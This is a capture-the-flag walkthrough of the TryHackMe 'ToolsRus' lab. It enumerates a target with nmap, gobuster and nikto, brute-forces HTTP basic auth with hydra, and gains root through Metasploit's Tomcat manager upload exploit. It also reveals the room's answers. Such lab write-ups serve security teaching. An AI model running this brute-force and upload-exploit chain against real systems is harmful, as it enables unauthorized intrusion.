> For the complete documentation index, see [llms.txt](https://writeups.adityadindi.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://writeups.adityadindi.com/tryhackme/untitled/toolsrus.md).

# ToolsRus

![](/files/-MbTUjGB1PqnpNCagr7f)

## Reconnaissance

Initial nmap scan to find open ports , using the flag "treat all hosts as alive" (**-Pn**)

```
nmap -Pn 10.10.217.167
```

![](/files/-MbTVlFCFXKgVfqXDFGZ)

Detailed Nmap Scan : 

Command Breakdown: 

* (**-sV):** Service version
* (**-sC**): Default nmap scripts
* (**-p):** Specifying ports 22,80,1234,8009
* (**-oN nmap**): Saving it into a files called nmap

```
nmap -sV -sC -p 22,80,1234,8009 -oN nmap 10.10.217.167
```

![](/files/-MbTVou75ZEN206wDFqJ)

## Enumeration

### Port 80

Lets visit the site

![](/files/-MbTW5SkXIHQ-pYOvfff)

It says that the other parts of the website are still functional so lets run gobuster to find hidden directories.

```
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.217.167
```

![](/files/-MbTWmligTEMv0G-PMah)

We found two directories, lets first visit `/guidelines`, which also happens to be the answer to the first question of this room.

![](/files/-MbTWvK522O26WeM622k)

![](/files/-MbTWzaJnLXEUwmzm3tH)

Looks like we have a possible username which is `bob`. This is the answer to the second question in this room.

![](/files/-MbTXXoSfPdaNnXVP7_A)

Now lets look at the other directory `/protected`. This is the answer to question 3 in this room

![](/files/-MbTZTWWR_IeofyGLgf0)

![](/files/-MbTYTkglVcYia2eRUwc)

Its asking us for a password, we have bob as a username, so lets use `hydra` to bruteforce the password.

```
hydra -l bob -P /usr/share/wordlists/rockyou.txt 10.10.217.167 http-get /protected/
```

![](/files/-MbTZuCcK1n6sGZKc1pF)

We found the password `bubbles` which is also the answer to the 4th question in this room

![](/files/-MbT_3YnHRwKzsdf78vV)

Now we can login

![](/files/-MbT_OEbaOrTckqzaO3p)

Oh, so now we have to go to the other http port which is 1234 that we saw in the nmap scan, which is also the answer to the 5th question in this room.

![](/files/-MbT_gJ1UjMHb3hKrwaZ)

Lets visit the site.

![](/files/-MbT_nKiExqHU3GUCxPS)

Its running `Apache Tomcat/7.0.88` which is the answer to question 6.

![](/files/-MbT_ysA3ZgOfKRnZCig)

The next question is asking us to use `nikto` to scan `/manager/html` directory on this port

![](/files/-MbTaQBCbgbEFT7xnGvo)

Lets do that.

```
nikto -h 10.10.217.167:1234/manager/html -id bob:bubbles 
```

Lets also visit the web application on this port and directory, we have to login using the same credentials, this is what it looks after logging in.

![](/files/-MbTb-ZMj49zbhHG7kld)

The Nikto scan did not give me anything important as far as I know, the answer to question 7 is "5".

![](/files/-MbTifh2I7kUaIHC_oXS)

The answer to the next two questions can be found in the nmap scan 

![](/files/-MbTjN64RwW5Yxb3_xU7)

![](/files/-MbTjTZutcRgCsdNmria)

## Exploitation

Lets fire up Metasploit

```
msfconsole
```

![](/files/-MbUCBdziAqLImEkHtQP)

Now lets search for tomcat 

```
search tomcat
```

![](/files/-MbUCPboM5-2nJecLmVk)

Looking through all the exploits, number 5 and 6 were the only ones that were interesting and exploits, so I tried number 6.

```
use exploit/multi/http/tomcat_mgr_upload
```

![](/files/-MbUClzmo0JzXVQsN4V-)

Lets look at the options and check what we have to provide to Metasploit to exploit the system.

![](/files/-MbUCx2bWptQ30UkCwL1)

We need to change the following options: 

* Http Username
* Http Password
* RHOSTS
* RPORT 
* LHOST

The command to set a value to a parameter 

```
set <Parameter> <Value>
```

![](/files/-MbUDuMDe0eKZ2YTqDze)

After setting everything up, lets run the exploit

```
run
```

![](/files/-MbUE4gGj_EJvJmp9yG6)

Now lets check who we are on the system

![](/files/-MbUEFB4aSYBnWaNPy1u)

And we are root, which is the answer to question 10 in this room. You can also find the last answer in the `/root/flag.txt`.

![](/files/-MbUEQ_KU2DC22rpAz7a)